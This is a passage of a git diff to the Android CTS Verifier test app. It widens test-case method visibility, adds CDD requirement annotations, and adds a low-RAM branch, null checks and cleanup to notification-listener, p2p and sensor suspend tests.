protected class IsEnabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createNlsSettingsItem(parent, R.string.nls_enable_service);
}
@@ -450,7 +469,7 @@
}
@Override
- void test() {
+ protected void test() {
mNm.cancelAll();
Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
@@ -468,7 +487,7 @@
}
}
- void tearDown() {
+ protected void tearDown() {
// wait for the service to start
delay();
}
@@ -476,13 +495,13 @@
protected class ServiceStartedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_started);
}
@Override
- void test() {
- if (MockListener.getInstance() != null) {
+ protected void test() {
+ if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
status = PASS;
next();
} else {
@@ -492,4 +511,41 @@
}
}
}
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ String listeners = Secure.getString(getContentResolver(),
+ ENABLED_NOTIFICATION_LISTENERS);
+ if (listeners != null && listeners.contains(LISTENER_PATH)) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ protected void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+ }
+
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 5a6f91b..7f3bfc7 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -17,12 +17,11 @@
package com.android.cts.verifier.notifications;
import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
+import android.content.Context;
import android.os.Bundle;
import android.provider.Settings.Secure;
import android.service.notification.StatusBarNotification;
@@ -33,6 +32,8 @@
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
import org.json.JSONException;
import org.json.JSONObject;
@@ -46,6 +47,7 @@
import static junit.framework.Assert.assertNotNull;
+@CddTest(requirement="3.8.3.2/C-1-1,C-1-2,C-2-1")
public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
implements Runnable {
private static final String TAG = "NoListenerVerifier";
@@ -68,12 +70,12 @@
private int mFlag3;
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.nls_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.nls_info;
}
@@ -82,24 +84,31 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new NotificationReceivedTest());
- tests.add(new DataIntactTest());
- tests.add(new DismissOneTest());
- tests.add(new DismissOneWithReasonTest());
- tests.add(new DismissAllTest());
- tests.add(new SnoozeNotificationForTimeTest());
- tests.add(new SnoozeNotificationForTimeCancelTest());
- tests.add(new GetSnoozedNotificationTest());
- tests.add(new EnableHintsTest());
- tests.add(new RequestUnbindTest());
- tests.add(new RequestBindTest());
- tests.add(new MessageBundleTest());
- tests.add(new EnableHintsTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
- tests.add(new NotificationNotReceivedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new NotificationReceivedTest());
+ tests.add(new DataIntactTest());
+ tests.add(new DismissOneTest());
+ tests.add(new DismissOneWithReasonTest());
+ tests.add(new DismissAllTest());
+ tests.add(new SnoozeNotificationForTimeTest());
+ tests.add(new SnoozeNotificationForTimeCancelTest());
+ tests.add(new GetSnoozedNotificationTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new MessageBundleTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ }
return tests;
}
@@ -175,27 +184,27 @@
private class NotificationReceivedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_note_received);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
MockListener.getInstance().resetData();
deleteChannel();
}
@Override
- void test() {
+ protected void test() {
List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
if (result.size() > 0 && result.contains(mTag1)) {
status = PASS;
@@ -208,19 +217,19 @@
private class DataIntactTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_payload_intact);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -277,7 +286,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
MockListener.getInstance().resetData();
deleteChannel();
@@ -286,19 +295,19 @@
private class DismissOneTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_one);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelNotification(
MockListener.getInstance().getKeyForTag(mTag1));
@@ -318,7 +327,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -329,19 +338,19 @@
int mRetries = 3;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_one_reason);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelNotification(
MockListener.getInstance().getKeyForTag(mTag1));
@@ -379,7 +388,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -388,19 +397,19 @@
private class DismissAllTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_all);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelAllNotifications();
status = RETEST;
@@ -419,7 +428,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -428,7 +437,7 @@
private class IsDisabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createNlsSettingsItem(parent, R.string.nls_disable_service);
}
@@ -438,7 +447,7 @@
}
@Override
- void test() {
+ protected void test() {
String listeners = Secure.getString(getContentResolver(),
ENABLED_NOTIFICATION_LISTENERS);
if (listeners == null || !listeners.contains(LISTENER_PATH)) {
@@ -449,59 +458,71 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockListener.getInstance().resetData();
}
}
private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_stopped);
}
@Override
- void test() {
- // Ignoring other effect suppressors besides the service under test.
- if (mNm.getEffectsSuppressor() == null || !mNm.getEffectsSuppressor().equals(MockListener.COMPONENT_NAME)) {
+ protected void test() {
+ if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected)) {
status = PASS;
} else {
- status = FAIL;
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
}
}
}
private class NotificationNotReceivedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_note_missed);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ protected void test() {
+ if (MockListener.getInstance() == null) {
status = PASS;
} else {
- logFail();
- status = FAIL;
+ List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+ if (result.size() == 0) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
}
next();
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
- MockListener.getInstance().resetData();
+ if (MockListener.getInstance() != null) {
+ MockListener.getInstance().resetData();
+ }
}
}
@@ -509,28 +530,25 @@
int mRetries = 5;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze);
}
@Override
- void setUp() {
+ protected void setUp() {
status = READY;
MockListener.getInstance().requestInterruptionFilter(
MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().requestUnbind();
status = RETEST;
} else {
- // Ignoring other effect suppressors besides the service under test.
- boolean noSuppressors = mNm.getEffectsSuppressor() == null ||
- !mNm.getEffectsSuppressor().equals(MockListener.COMPONENT_NAME);
- if (noSuppressors && !MockListener.getInstance().isConnected) {
+ if (mNm.getEffectsSuppressor() == null && !MockListener.getInstance().isConnected) {
status = PASS;
} else {
if (--mRetries > 0) {
@@ -549,13 +567,13 @@
int mRetries = 5;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_unsnooze);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.requestRebind(MockListener.COMPONENT_NAME);
status = RETEST;
@@ -578,20 +596,21 @@
private class EnableHintsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_hints);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().requestListenerHints(
MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
status = RETEST;
} else {
int result = MockListener.getInstance().getCurrentListenerHints();
- if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) != 0) {
+ if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS)
+ == MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) {
status = PASS;
next();
} else {
@@ -610,12 +629,12 @@
long snoozeTime = 3000;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze_one_time);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
@@ -624,7 +643,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -669,7 +688,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -691,12 +710,12 @@
private String tag;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze_one_time);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
tag = mTag1;
@@ -706,7 +725,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -745,7 +764,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -760,12 +779,12 @@
long snoozeTime = 30000;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_get_snoozed);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
@@ -773,7 +792,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -829,7 +848,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -845,19 +864,19 @@
private final CharSequence extrasValue2 = "extras_value_2";
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.msg_extras_preserved);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendMessagingNotification();
status = READY;
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
delay();
@@ -907,7 +926,7 @@
}
@Override
- void test() {
+ protected void test() {
List<Notification> result =
new ArrayList<>(MockListener.getInstance().mPostedNotifications);
if (result.size() != 1 || result.get(0) == null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
index 6a97f0c..bce9f44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
@@ -60,12 +60,12 @@
private final AtomicReference<Intent> mReplyIntent = new AtomicReference<>(null);
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.shortcut_reset_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.shortcut_reset_info;
}
@@ -108,12 +108,12 @@
/** Make sure the helper package is installed. */
protected class CheckForBot extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_bot);
}
@Override
- void test() {
+ protected void test() {
PackageManager pm = mContext.getPackageManager();
try {
pm.getPackageInfo(NOTIFICATION_BOT_PACKAGE, 0);
@@ -131,12 +131,12 @@
*/
protected class SetupNotification extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_start);
}
@Override
- void test() {
+ protected void test() {
final Intent intent = new Intent(ACTION_RESET_SETUP_NOTIFICATION);
intent.setPackage(NOTIFICATION_BOT_PACKAGE);
@@ -157,12 +157,12 @@
*/
protected class WaitForTestReply extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_prompt_inline_reply);
}
@Override
- void test() {
+ protected void test() {
final Intent replyIntent = mReplyIntent.get();
if (replyIntent == null) {
// Reply not received yet.
@@ -180,12 +180,12 @@
*/
protected class CheckResult extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_check_result);
}
@Override
- void test() {
+ protected void test() {
final Intent replyIntent = mReplyIntent.get();
if (replyIntent == null) {
logFail("Internal error, replyIntent shouldn't be null here.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 9540463..aa24d55 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -126,6 +126,15 @@
}
@Override
+ protected void onDestroy() {
+ if (mChannel != null) {
+ mChannel.close();
+ }
+
+ super.onDestroy();
+ }
+
+ @Override
protected void onResume() {
super.onResume();
/*
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index c3a6b8e..7f608c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -152,10 +152,16 @@
* Tear down the test case.
*/
protected void tearDown() {
- mP2pMgr.clearLocalServices(mChannel, null);
- mP2pMgr.clearServiceRequests(mChannel, null);
- mP2pMgr.clearLocalServices(mSubChannel, null);
- mP2pMgr.clearServiceRequests(mSubChannel, null);
+ if (mP2pMgr != null) {
+ mP2pMgr.clearLocalServices(mChannel, null);
+ mP2pMgr.clearServiceRequests(mChannel, null);
+ mP2pMgr.clearLocalServices(mSubChannel, null);
+ mP2pMgr.clearServiceRequests(mSubChannel, null);
+ }
+
+ if (mChannel != null) {
+ mChannel.close();
+ }
}
/**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
index a6e5f98..1517641 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
@@ -24,9 +24,12 @@
import android.widget.LinearLayout;
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+@CddTest(requirement="3.8.8/C-1-2")
public class ScreenPinningTestActivity extends PassFailButtons.Activity {
private static final String TAG = "ScreenPinningTestActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
index a4f63ad..a3b4441 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
@@ -13,11 +13,14 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
+@CddTest(requirement="9.8.4/C-0-3")
public class CANotifyOnBootActivity extends PassFailButtons.Activity {
private static final String TAG = CANotifyOnBootActivity.class.getSimpleName();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
index 764ecb3..3f63489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
@@ -41,6 +41,8 @@
import android.widget.Button;
import android.widget.Toast;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
@@ -58,6 +60,7 @@
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
+@CddTest(requirement="9.11.1/C-2-1,C-2-2")
public class FingerprintBoundKeysTest extends PassFailButtons.Activity {
private static final boolean DEBUG = false;
private static final String TAG = "FingerprintBoundKeysTest";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
index 863488b..450320b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
@@ -33,6 +33,8 @@
import android.widget.Button;
import android.widget.Toast;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
@@ -50,6 +52,7 @@
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
+@CddTest(requirement="9.11.1/C-2-1,C-2-2")
public class ScreenLockBoundKeysTest extends PassFailButtons.Activity {
/** Alias for our key in the Android Key Store. */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 52b3dee..4c8204f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -100,6 +100,7 @@
TestSensorOperation.createOperation(environment, 100 /* event count */);
verifyMeasurements.addVerification(new MeanVerification(
expectations,
+ new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */,
new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */));
verifyMeasurements.execute(getCurrentTestNode());
return null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index e5a262a..2d2aa94 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -11,6 +11,8 @@
import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
+import com.android.compatibility.common.util.CddTest;
+
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
@@ -122,6 +124,7 @@
}
};
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenReportLatencyExpiresAccel() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
if (wakeUpSensor == null) {
@@ -130,6 +133,7 @@
return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenReportLatencyExpiresGyro() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE, true);
if (wakeUpSensor == null) {
@@ -138,6 +142,7 @@
return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenReportLatencyExpiresMag() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD,true);
if (wakeUpSensor == null) {
@@ -146,6 +151,7 @@
return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenFIFOFullAccel() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
if (wakeUpSensor == null) {
@@ -154,6 +160,7 @@
return runAPWakeUpWhenFIFOFull(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenFIFOFullGyro() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE, true);
if (wakeUpSensor == null) {
@@ -162,6 +169,7 @@
return runAPWakeUpWhenFIFOFull(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAPWakeUpWhenFIFOFullMag() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD,true);
if (wakeUpSensor == null) {
@@ -170,6 +178,7 @@
return runAPWakeUpWhenFIFOFull(wakeUpSensor);
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAccelBatchingInAPSuspendLargeReportLatency() throws Throwable {
Sensor accel = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
if (accel == null) {
@@ -178,6 +187,7 @@
return runAPWakeUpByAlarmNonWakeSensor(accel, (int)TimeUnit.SECONDS.toMicros(1000));
}
+ @CddTest(requirement="7.3/C-1-8")
public String testAccelBatchingInAPSuspendZeroReportLatency() throws Throwable {
Sensor accel = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
if (accel == null) {
@@ -187,18 +197,9 @@
}
/**
- * Verify that each continuous sensor is using the correct
- * clock source (CLOCK_BOOTTIME) for timestamps.
+ * Verify that the device is able to suspend
*/
- public String testTimestampClockSource() throws Throwable {
- String string = null;
- boolean error_occurred = false;
- List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
- if (sensorList == null) {
- throw new SensorTestStateNotSupportedException(
- "Sensors are not available in the system.");
- }
-
+ public void verifyDeviceCanSuspend() throws Throwable {
// Make sure clocks are different (i.e. kernel has suspended at least once)
// so that we can determine if sensors are using correct clocksource timestamp
final int MAX_SLEEP_ATTEMPTS = 10;
@@ -238,6 +239,22 @@
mDeviceSuspendLock.acquire();
}
mAlarmManager.cancel(mPendingIntent);
+ }
+
+ /**
+ * Verify that each continuous sensor is using the correct
+ * clock source (CLOCK_BOOTTIME) for timestamps.
+ */
+ public String testTimestampClockSource() throws Throwable {
+ String string = null;
+ boolean error_occurred = false;
+ List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+ if (sensorList == null) {
+ throw new SensorTestStateNotSupportedException(
+ "Sensors are not available in the system.");
+ }
+
+ boolean needToVerifySuspend = true;
for (Sensor sensor : sensorList) {
if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
@@ -248,6 +265,12 @@
Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
continue;
}
+
+ if (needToVerifySuspend) {
+ verifyDeviceCanSuspend();
+ needToVerifySuspend = false;
+ }
+
try {
string = runVerifySensorTimestampClockbase(sensor, false);
if (string != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
index 4aee2f9..b4aa606 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
@@ -31,8 +31,6 @@
import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Semi-automated test that focuses characteristics associated with Accelerometer measurements.
* These test cases require calibration of the sensor before performing the verifications.
@@ -116,7 +114,6 @@
* Additionally, the device's debug output (adb logcat) dumps the set of values associated with
* the failure to help track down the issue.
*/
- @CddTest(requirement="7.3.2/C-1-9")
@SuppressWarnings("unused")
public String testStandardDeviation() throws Throwable {
getTestLogger().logMessage(R.string.snsr_mag_verify_std_dev);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
index 9ca5f2c..157ca3d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
@@ -39,6 +39,8 @@
import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseProvider;
import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+import com.android.compatibility.common.util.CddTest;
+
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.content.res.Configuration;
@@ -62,6 +64,7 @@
* Main Activity for 6DOF tests Handles calls between UI fragments and the Data fragment. The
* controller in the MVC structure.
*/
+@CddTest(requirement="7.3.12/C-1-1")
public class TestActivity extends Activity implements BaseUiListener, AccuracyListener,
RobustnessListener, ComplexMovementListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
index a19024a..8354fae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
@@ -33,8 +33,6 @@
import android.util.Log;
import android.widget.TextView;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.BufferedReader;
